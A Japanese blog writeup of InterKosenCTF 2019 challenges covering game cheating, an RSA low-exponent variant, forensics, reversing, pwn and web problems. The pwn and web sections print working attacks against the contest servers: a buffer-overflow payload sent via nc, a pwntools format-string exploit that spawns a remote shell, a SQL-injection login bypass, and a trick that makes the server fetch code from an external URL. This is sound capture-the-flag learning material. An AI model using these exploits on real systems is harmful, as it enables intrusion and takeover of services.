牧場生まれの牛乳

いろんなことしてる牛乳です。

InterKosenCTF 2019 - Writeup

1月18日。徹夜明けで眠くて倒れそうになりながら家についたらこんなツイートが流れてきた。

「まぁ、問題だけ見てみるか。」という気分で開いてみたら楽しくなってきちゃった。結果としては全体7位・個人4位・高専内1位だった。やっぱり賞品ブーストはすごいよね。

というわけでWriteupしてみる。

目次

[Cheat 100pts] lights out

問題文

Turn all the lights on.

解法

とにかく時間がかかった。Windows苦手。「もう無理ぽ。」ってなりながらふんばって解いた感じ。解きおわって考えてみると、確かに100ptなんだろうなって感じだった。

Windowsのことほとんど分からなさすぎて、このファイルが.NETなんだろうなってことしか分からない段階だったので、とりあえずデバッガを検索してみた。するとdnSpyというすごく良さそうなデバッガを見つけたのでダウンロードしてきた。

github.com

そして、これで配布されたゲームを起動してみる。そして、Break AtをEntry Pointにして実行した。

f:id:proelbtn:20190120214538p:plain

ハングル読めないけど、まぁ3行目なんだろうなと山を張ってStep Intoする。

f:id:proelbtn:20190120214653p:plain

すると、20x20のboolの配列が見えた。読めなくてもなんとなく「あぁ、これマップなんだろうな」という感じがする。privateなので、このクラスの中でその変数を参照している関数を見てみた。

f:id:proelbtn:20190120214757p:plain

すると、きっとクリアしたかを判定していそうな関数が見える。そして、その後にMessageBoxを表示させようとしている。これはきっと結果を表示させようとしているんだなと推測して表示させようとしている文字列を調べに行く。

f:id:proelbtn:20190120215045p:plain

すると、「あぁ、これがきっとフラグの元なんだろうな」という怪しい数列を見つける。その後に文字列に起こす処理も書いてある。

msg = [200, 223, 198, 210, 158, 149, 232, 159, 223, 216, 145, 155, 226, 149, 217, 238, 245, 232, 253, 247, 253, 235, 250, 198, 193, 199, 132, 197, 223, 212, 128, 217, 230, 242, 215, 237, 189, 224, 238, 235, 247, 240, 227, 181, 242, 180, 219, 202, 200, 196, 252, 224, 240, 171, 241, 244, 241, 167, 252, 253, 239, 200, 247, 253, 217, 223, 156, 148, 173, 128, 130, 138, 144, 130, 148, 148, 138, 134, 144, 140, 149, 149, 139, 216, 179, 158, 149, 147, 180, 156, 130, 156, 186, 158, 147, 157, 190, 184, 232, 134, 187, 187]

for i, c in enumerate(msg):
    print(chr(c ^ i ^ 170))

これを実行すればフラグを得られる。

python test.py | xargs | sed 's/ //g'
btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLightsOut

解答

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

難読化を解くか、動的チートかを書いてあるけど、僕は「なんかよく分からないけど、『きっとこの処理ここに書いてあるんだろうなぁ』という勘」で解いてしまった気がする。正攻法じゃないんかな。

[Cheat 250pts] anti cheat

問題文

Get a super good score!

challenge

解法

エスパー要素が大きすぎる解法だけど、一応書いておく。

とりあえず遊んでみる。アクセスしてみるとこんな感じのゲームで遊べる。

f:id:proelbtn:20190120220148p:plain

左右の矢印キーで棒を傾けて落とさないようにがんばるゲームっぽい。

f:id:proelbtn:20190120220222p:plain

とりあえず点数ハックしたい。雰囲気的に1度に1点しか入らなさそうなので、ソースコードから"+ 1"や"++"や"+= 1"で検索をかけてみる。得点はただのインクリメントだろうと仮定すると、a = a + 1やa++, a += 1となるだろうと考えたからだ。そして、候補を1つ1つコンソールで見ながらゲームをしてみる。すると、_e3._r3に得点が保持されていることが分かる。なので、_e3._r3に適当な値を代入してみると次のような画面が出る。

f:id:proelbtn:20190120222727p:plain

はぁ、そりゃ250ptだもんな、そうだもんな。という気持ちになったけど、"CHEAT DETECTED"で検索をかけてみる。すると_S1という関数が見つかる。今度はこの関数を利用している場所を見つけるために"_S1"で検索する。すると次のような行が見つかる。

    }, {
        _D: "gameguard",
        _f1: 1,
        _c1: !0,
        parent: -100,
        _w1: _Q1,
        _C1: _R1,
        _g1: _S1,
        _d1: [],
        _e1: []
    }],

明らかに怪しいんだよなぁ。。。というObjectが見える。_Q1, _R1,\ _S1はすべて関数なので、それぞれを見てみる。

function _Q1(_Y2, _Z2) {
    {
        _Y2._M3 = 0 ? 1 : 0;
    }
    ;
}
function _R1(_Y2, _Z2) {
    {
        if (((_e3._r3 * _e3._r3) != global._q3)) {
            {
                _Y2._M3 = 1 ? 1 : 0;
                _e3._r3 = 0;
                _N3(_Y2, 1);
            }
        } else {
            {
                global._q3 = (_e3._r3 * _e3._r3);
            }
        }
        ;
    }
    ;
}
function _S1(_Y2, _Z2) {
    {
        if ((_Y2._M3 == 1)) {
            {
                _b3(255);
                _a3(1);
                _J3(1);
                _c3(0);
                _d3((_e3._f3 / 2), (_e3._K3 / 2), "CHEAT DETECTED!");
                _J3(0);
            }
        }
        ;
    }
    ;
}

これを見ると、_Y2._M3がフラグの役割をしていそうなことが分かる。_R1で何かを確認してフラグを立てている気がするので、_R1を次のように潰す。

    }, {
        _D: "gameguard",
        _f1: 1,
        _c1: !0,
        parent: -100,
        _w1: _Q1,
        _C1: ()=>{},
        _g1: _S1,
        _d1: [],
        _e1: []
    }],

すると、_e3._r3への書き換えができるようになる。

f:id:proelbtn:20190120224740p:plain

解答

KOSENCTF{bASIc_buTSTrOng_AnTI_chEAT}

[Crypto 100pts] strengthened

問題文

If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.

解法

問題文にLow Public Exponent Attackと書いてあるけど、そもそもそれすら知らなかったから辛みしかなかった。Low Public Exponent Attackについては下のリンクを見るとよく分かる。

blog.akashisn.info

今回はこの手法をちょっと応用してやればよい。 encrypt.pyより、\(M\)を6行目の時点でのmの値, \(c\), \(m\), \(e\), \(n\)を12行目の時点でのc, m, e, nの値, \(k\)を適当な自然数とすると、次のことがいえる。

$$ m = 2^k M $$

$$ c = m^e \mod n $$

$$ n \le m^e \lt 2^e n $$

\(n \le m^e\)の方は、while文を抜ける必要条件である。

\(m^e \lt 2^e n\)の方は、\(m^e \ge 2^e n\)と仮定すると、\(\left(\frac{m}{2}\right)^e \ge n\)より、\(\frac{m}{2}\)の時点でwhile文を抜けてしまうからである。

\(l\)を適当な整数として、上の式を変形していく。

$$ m^e = ln + c $$

$$ n \le ln + c \lt 2^e n $$

この変形と\(0 \le c \lt n\)より、\(1 \le l \lt 2^e\)がいえる。今回、eは3なので、\(1 \le l \lt 8\)となる。また、\(m = 2^k M\)より、\(m\)は\(2\)で割り切れる。よって、\(m^e\)は\(2^e = 8\)で割り切れる。これらを用いることで、\(m^e\)を求めることができる。

ここまで来たら、後はLow Public Exponent Attackと同様の方法を用いてmを求め、ひたすら2で割りながらdecodeしていけば良い。なのでこんなスクリプトをえいっとすると解答が出てくる。

import codecs
import gmpy2

with open('encrypted') as f:
    exec(f.read())

# solve m^e
for l in range(pow(2, e)):
    if (l * n + c) % (pow(2, e)) == 0:
        me = l * n + c
print(f'me={me}')

# solve m
m, _ = gmpy2.iroot(me, e)
print(f'm={m}')

# solve M
while m != 0:
    M = hex(m)[2:].encode('utf-8')
    try:
        M = codecs.decode(M, 'hex').decode('utf-8')
        break
    except:
        pass
    m = m >> 1
print(f'M={M}')
me=105311740325742980859942104707091180342805911957035657467818137022730454181076036779262237017787017049925349441259159342861847710615658093927109378944740198833467642007364002105409310950821681950249309627389494153310001846927690005596770204655415219153192197901168177869373506128629323319168192745974564595080462364946926806853052749073775857112170315195509206042580667047459312341751936510062789774783728325744305249127478243259376016154742430127166441013782896079903794673935480021552096754315358128780299840376042979007409800776140214488191271283821922828437138882711469377891209591452244768562107740303752437956608
m=47223582418329825209745914667971590820722714318452791326821588181662319399773846734427941516181423981487302118538346612769422888886822520261688728358369123097589459238242699552111899674856615315187592855552
M=KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

解答

KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

[Forensics 50pts] attack log

問題文

Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end.

解法

認証って書いてあるし、50ptだしBasic認証だろうと思ったら、Basic認証だった。解答して出てきたpcapをWiresharkで開いてhttp.response.code == 200でフィルタする。その後、Follow HTTP Streamでリクエストを調べてやればよい。

f:id:proelbtn:20190120001404p:plain

解答

KOSENCTF{bRut3F0rc3W0rk3D}

おまけ

kosenlab.orgとかいうエモいドメインだったからwhoisしてみたけどドメイン取ってたわけではなかった。hostsに書いただけなんかな。

$ whois kosenlab.org
NOT FOUND
>>> Last update of WHOIS database: 2019-01-19T15:16:41Z <<<

Access to Public Interest Registry WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Afilias except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.

The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.

お名前.comで調べたら1300円程度だし、誰か取ったらいいと思う(僕は取らないけどさ)。

[Forensics 200pts] conversation

問題文

We seized a smartphone which one of the suspects had used. Find out the conversation they had.

android_8.1_x86_oreo.tar.gz

解法

これは普通に時間がかかった。正攻法がまるで分からなかった。

android_8.1_x86_oreo.tar.gzを解凍すると、android_8.1_x86_oreo.imgが出てくる。とりあえずfileで調べてみる。

$ file android_8.1_x86_oreo.img
android_8.1_x86_oreo.img: Linux rev 1.0 ext4 filesystem data, UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (needs journal recovery) (extents) (large files)

ext4という部分も結構大きいですが、needs journal recoveryの方がもっと気になりますね。はじめは「qemuから起動するんかな?」と思ったが、うまく起動してくれない。冷静に考えたら1パーティションファイルが起動できるわけがない。

まずは、ファイルシステムをマウントしたい。そのために次のようなコマンドを用いてマウントする。

$ sudo losetup /dev/loop0 android_8.1_x86_oreo.img
$ sudo e2fsck -y -b 32768 /dev/loop0
$ sudo mount /dev/loop0 /mnt

これで、/mntにマウントができた。タイトルがconversationだったのでmessagingに関連ありそうなファイルをひたすら調べていったが、いっくら調べても出てこない。どうしてこんなに出てこないのかというくらい出てこない。なので、Windowsを仮想環境にインストールし、FTK Imagerを用いて上から順にファイルの走査をしていったら/system_ce/0/snapshots/11.pngにあった。 多分、e2fsckの時点でいろいろ破壊していったんだろうと思うけど「うーん」っていう気分になってしまった。

f:id:proelbtn:20190120010339p:plain

解いた後に調べてみた感じだと、先頭にMBRをくっつけて適当なブートローダをつけてやれば起動できる可能性はある(だけど、ブートローダ書き込むためにe2fsckしてその時にファイルを破壊しそうなので上手く行くかとかは知らない)。

blog.filippo.io

解答

KOSENCTF{7h3_4h7_0f_4ndr01d_f0r3n51c5}

[Pwn 100pts] double check

問題文

nc pwn.kosenctf.com 9100

解法

ソースコードもあるのですごくやりやすい。

とりあえず、いろいろ調べてみる。

$ file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e687e6be8ff2e812431014cd77c446b65f32b3d8, not stripped
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

32bit, CANARY無効, PIE無効ということでバッファオーバーフローやリターンアドレス書き換え系なのかなと予想した。CANARYが無いと一発で攻略できるし楽。

それでソースコードを見てみると、70行目でフラグを表示していることが分かる。このコードを通るための条件をコードを遡りながら調べていく。フラグを表示させるためにはpasswordが分からないといけないが、76行目で丁寧にpasswordをnullで埋めているのでそれを利用する。つまり、次のような手順でフラグを奪取する。

  1. 最初のscanfでバッファオーバーフローさせてmain関数のリターンアドレスをmain関数の57行目に書き換える。
  2. 76行目でpasswordが0埋めされる。
  3. main関数の57行目に飛ぶ。
  4. 2回目のscanfで空白を入力する。

まずは、スタックのどこにリターンアドレスがあるのかを調べる。

[----------------------------------registers-----------------------------------]
EAX: 0xffffcce0 --> 0x1 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa5850 --> 0x0 
ESI: 0xf7fa3e24 --> 0x1d8d2c 
EDI: 0xf7fa3e24 --> 0x1d8d2c 
EBP: 0xffffcd08 --> 0x0 
ESP: 0xffffccd0 --> 0x8048978 --> 0x66007325 ('%s')
EIP: 0x80487e0 (<main+87>:    call   0x8048560 <__isoc99_scanf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80487d1 <main+72>:   lea    eax,[esp+0x10]
   0x80487d5 <main+76>:   mov    DWORD PTR [esp+0x4],eax
   0x80487d9 <main+80>:   mov    DWORD PTR [esp],0x8048978
=> 0x80487e0 <main+87>:    call   0x8048560 <__isoc99_scanf@plt>
   0x80487e5 <main+92>:   mov    DWORD PTR [esp+0x8],0x1f
   0x80487ed <main+100>:  lea    eax,[esp+0x10]
   0x80487f1 <main+104>:  mov    DWORD PTR [esp+0x4],eax
   0x80487f5 <main+108>:  mov    DWORD PTR [esp],0x804a080
Guessed arguments:
arg[0]: 0x8048978 --> 0x66007325 ('%s')
arg[1]: 0xffffcce0 --> 0x1 
[------------------------------------stack-------------------------------------]
0000| 0xffffccd0 --> 0x8048978 --> 0x66007325 ('%s')
0004| 0xffffccd4 --> 0xffffcce0 --> 0x1 
0008| 0xffffccd8 --> 0x804a000 --> 0x8049f14 --> 0x1 
0012| 0xffffccdc --> 0x8048902 (<__libc_csu_init+82>:  add    edi,0x1)
0016| 0xffffcce0 --> 0x1 
0020| 0xffffcce4 --> 0xffffcda4 --> 0xffffcf7a ("/home/proelbtn/Downloads/double_check/auth")
0024| 0xffffcce8 --> 0xffffcdac --> 0xffffcfa5 ("XDG_SEAT=seat0")
0028| 0xffffccec --> 0xf7dfcb95 (<__cxa_atexit+37>:    add    esp,0x1c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080487e0 in main ()
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ ni

Program received signal SIGALRM, Alarm clock.
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x20 (' ')
EDX: 0x804a0a0 --> 0x0 
ESI: 0xf7fa3e24 --> 0x1d8d2c 
EDI: 0xf7fa3e24 --> 0x1d8d2c 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcd10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcd10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcd14 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcd18 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcd1c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcd20 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcd24 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcd28 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcd2c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto 0x41414641
1094796865 found at offset: 44

てなわけで44文字目からがリターンアドレスになることが分かった。

次に飛ばしたいアドレスを調べる。今回はmain関数の57行目に飛ばしたいので、一番最初のprintfの前(0x80487c5)に飛ばせばいいことが分かる。

 80487b6:    e8 45 fd ff ff          call   8048500 <puts@plt>
 80487bb:   b8 01 00 00 00          mov    $0x1,%eax
 80487c0:   e9 db 00 00 00          jmp    80488a0 <main+0x117>
 80487c5:   c7 04 24 6d 89 04 08    movl   $0x804896d,(%esp)
 80487cc:   e8 df fc ff ff          call   80484b0 <printf@plt>
 80487d1:   8d 44 24 10             lea    0x10(%esp),%eax
 80487d5:   89 44 24 04             mov    %eax,0x4(%esp)
 80487d9:   c7 04 24 78 89 04 08    movl   $0x8048978,(%esp)
 80487e0:   e8 7b fd ff ff          call   8048560 <__isoc99_scanf@plt>
 80487e5:   c7 44 24 08 1f 00 00    movl   $0x1f,0x8(%esp)
 80487ec:   00 
 80487ed:   8d 44 24 10             lea    0x10(%esp),%eax
 80487f1:   89 44 24 04             mov    %eax,0x4(%esp)
 80487f5:   c7 04 24 80 a0 04 08    movl   $0x804a080,(%esp)
 80487fc:   e8 6f fd ff ff          call   8048570 <strncmp@plt>
 8048801:   85 c0                   test   %eax,%eax
 8048803:   75 0e                   jne    8048813 <main+0x8a>

後はコードを作るだけ。

$ printf "01234567890123456789012345678901234567890123\xc5\x87\x04\x8\n\0\0\0\0\n" | nc pwn.kosenctf.com 9100
Password: Invalid password.
Password: KOSENCTF{s1mpl3-st4ck0v3rfl0w!}
/home/pwn/redir.sh: line 2:  4341 Segmentation fault      (core dumped) ./auth

解答

KOSENCTF{s1mpl3-st4ck0v3rfl0w!}

おまけ

これを解いたすぐ後にこんなツイートが流れてきた。僕はなめらかな床でしかpwnできない。

おまけ2

$ python -c "print('\0' * 44 + '\xc5\x87\x04\x08')"             
Å
$ python -c "print('\0' * 44 + '\xc5\x87\x04\x08')" | hexdump -C
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000020  00 00 00 00 00 00 00 00  00 00 00 00 c3 85 c2 87  |................|
00000030  04 08 0a                                          |...|
00000033

なんなんだ、そのc3 85 c2は?という気分になっていた。文字コードの問題っぽいのでそのうち調べる。

[Pwn 200pts] introduction

問題文

nc pwn.kosenctf.com 9200

解法

まずは下調べ。

introduction: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0b1f22387262614a5200653de20653fabd037978, not stripped
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

ソースコード見ても分かる通り、Format String Attackだろうと思って解答を進めた。libc-2.27.soも配布されていたのできっとなんかいい感じにしてほしいんだろうなとか考えてた。Format String Attackの概要はこのブログを見るほうがわかりやすいと思う。

inaz2.hatenablog.com

2回printfがあるので、1回目でパラメータの調査, 2回目でFormat String Attackする。今回はGOTを書き換えるのではなく、mainのreturn addressを書き換えてsystem("/bin/sh")することを考える。

アドレスの特定

まずは、main関数のreturn addressを書き換えたいので、そのアドレスを調べなければならない。scanfで%1$pを入力してやると、bufferの先頭アドレスが手に入るので、それを基にmain関数からのreturn addressを調べてやればいい。僕はアセンブリよくわからないマンなので、gdbで動かしながら調べてみた。すると、オフセットが0x90だということが分かった。

次に、systemを呼ぶためにはsystemの開始アドレスを調べる必要がある。main関数からreturnする時に、__libc_start_main+241にreturnするので、そのアドレスを基に計算してやると良さそうだった。return addressは%43$pで取得できる。

なので、1回目のscanfでは"%1$p,%43$p"などと入力してやれば良さそう。

アドレスの書き換え

pwntoolsにはELFというクラスがあって、それを用いるとオフセットとかをあまり考えなくても直感的にコードが書けるので楽。また、fmtstr_payloadを用いると面倒なペイロード構築もやってくれてしまうので「あれ、僕なにしたんだっけ」ってなれます。

from pwn import *

c = remote('pwn.kosenctf.com', 9200)

libc = ELF('./libc-2.27.so')

# "May I ask your name?"
c.recvline()

# "First Name: "
c.recvuntil('First Name: ')

# get libc address
c.send('%1$p,%43$p\n')
res = c.recvline().decode('utf-8').split(',')
target_addr = int(res[0], 16) + 0x90
libc.address = int(res[1], 16) - libc.symbols[b'__libc_start_main'] - 241

writes = {
    target_addr: libc.symbols[b'system'],
    target_addr + 8: libc.address + 0x17b8cf
}
fs = fmtstr_payload(7, writes)
print(len(fs))
c.send(fs)

c.interactive()
$ ls
flag
introduction
redir.sh
$ cat flag
KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}$ 
$ uname -a
Linux f3c85341e2d0 4.15.0-1021-aws #21-Ubuntu SMP Tue Aug 28 10:23:07 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ uptime
 14:21:46 up 27 days,  7:47,  0 users,  load average: 0.00, 0.00, 0.00

解答

KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}

[Reversing 100pts] flag generator

問題文

This program generates the flag for you!!

解法

これに時間かけすぎた。ほんとに悲しみしかない。

#include <stdio.h>

int r(int t) {
    return (t * 0x41c64e6d + 0x3039) & 0x7fffffff;
}

int main() {
    int l_38 = 0x25dc167e;
    int arr[20];

    arr[0] = 0x608f5935;
    arr[1] = 0x57506194;
    arr[2] = 0x27365557;
    arr[3] = 0x54e3dea1;
    arr[4] = 0x755a4ed5;
    arr[5] = 0x17f42eb7;
    arr[6] = 0x4a4f9059;
    arr[7] = 0x1a08e827;
    arr[8] = 0x0d9d391f;
    arr[9] = 0x59e533aa;
    arr[10] = 0;

    for (int i = 0; i < 10; i++) {
        arr[i] ^= l_38;
        l_38 = r(l_38);
    }

    printf("%s", arr);
}

解答

KOSENCTF{IS_THIS_REALLY_A_REVERSING?}

おまけ

radare2久しぶりに使ったけど、最高かもしれない。

[Reversing 200pts] flag checker

問題文

You should check your flag before your submission.

解法

revって解法を説明するのがすごく難しい。ざっくりいうと、argv[1]にある変換hを施した後に、0x402008から36バイトの文字列と比較してフラグの合否を判定している。そしてhでやっているのはこんな処理。

#define ROL8(val) ((val << 8) | (val >> 24))

char *s = argv[1];
unsigned int l_1c = 0xdec0c0de;
unsigned int l_18 = 0;
int l_14 = 8;
while (l_14 >= 0) {
  l_18 = l_18 ^ ((int *)s)[l_14] ^ l_1c;
  ((int *)s)[l_14] = l_18;
  l_1c = ROL(l_1c, 8);
  l_14 -= 1;
}

これを踏まえると、次のようなデコーダが書ける。

#include <stdio.h>
#include <string.h>

char msg[100] = "\x9f\xc9\xd7\xc2\xa\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd\0";

#define ROL(val) ((val >> 24) | (val << 8))

int main() {
    unsigned int l_1c = 0xdec0c0de, l_18 = 0;

    printf("strlen(msg) == %d\n", strlen(msg));

    for (int i = 0; i < 8; i++) {
        ((int *)msg)[i] ^= ((int *)msg)[i + 1];
    }

    for (int i = 8; i >= 0; i--) {
        ((int *)msg)[i] ^= l_1c;
        l_1c = ROL(l_1c);
    }

    printf("FLAG is %s\n", msg);
}

[Web 100pts] Gimme Chocolate

問題文

challenge

解法

これは楽しい問題。ソースコードを見るとbrainf*ckのインタプリタがあって、"Give Me a Chocolate!!"という文字列を出力させればいい事が分かる。なので次のコードを利用して生成したコードをアップロードしてみた。

github.com

だが、Give Meまでしか表示されない。ソースコードを見てみると、100bytesしか書き込んでいないことが分かる。100bytesで出力できるかもしれないとも考えたが僕にはその技量はないので、ソースコードを読み進めていくと、file_get_contentsという関数でファイルを開いていることが分かる。なので、PHPのリファレンスを見てみる。

php.net

すると、Example #1に「Get and output the source of the homepage of a website」という項目がある。ファイル名だけでなく、URLを渡すこともできるらしい。なので、適当なサービス(Gistとか)にbrainf*ckのコードをアップロードし、fileの引数にそのURLを渡してやればよい。

$ curl 'http:/web.kosenctf.com:8100?execute&file=https://gist.githubusercontent.com/proelbtn/40baaf77996da82a9d2521a243f9cf94/raw/b13eb393b3676cb3c0228f32537b4f5d7f06dec8/main.bf'  | grep KOSENCTF
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3438  100  3438    0     0  12105      0 --:--:-- --:--:-- --:--:-- 12105
                    <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div>

解答

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}

[Web 250pts] Login

問題文

challenge

解法

どう見てもただのSQL Injection。ただ、その直後にmd5($rows[0]['password']) == md5($password)がある。adminのパスワードは既知でないので、パスワードが分かるユーザをrows[0]に持ってこなければならない。幸い、ユーザは自由に作ることができるので問題ない。次のようなSQLを考えてみる。

select username, password from users where username='admin' and password='' or username='ppppp' and '' = ''

これの場合、usernameはadminにしたまま、別のユーザ(ppppp)をヒットさせることができる。

まず、usernameがppppp, passwordが' or username='ppppp' and '' = 'のユーザを作る。そして、usernameはadminで, passwordは' or username='ppppp' and '' = 'で送信すればよい。そうすればフラグを奪取することができる。

解答

KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}

おまけ

SQLインジェクションって、このパズルを解く感じがゾクゾクするよね。まさにこれ。個人的には、こういった直接バイパスするようなSQLインジェクションよりブラインドSQLインジェクションの方が面倒くさくだるいと思うので、usleepを入れた意味がなんとも分からないなと思った。完全な対策というわけじゃないし(まぁ5秒待つとかだるすぎるけど)。

まとめ

概して楽しかった。解いてる間ずっとこんなになってた。

f:id:proelbtn:20190120025101j:plain

けど解き終わってからのダウン感がすごい。久しぶりに頑張ったって感じがする。

課研と編入試験もこの調子で頑張らねば。。。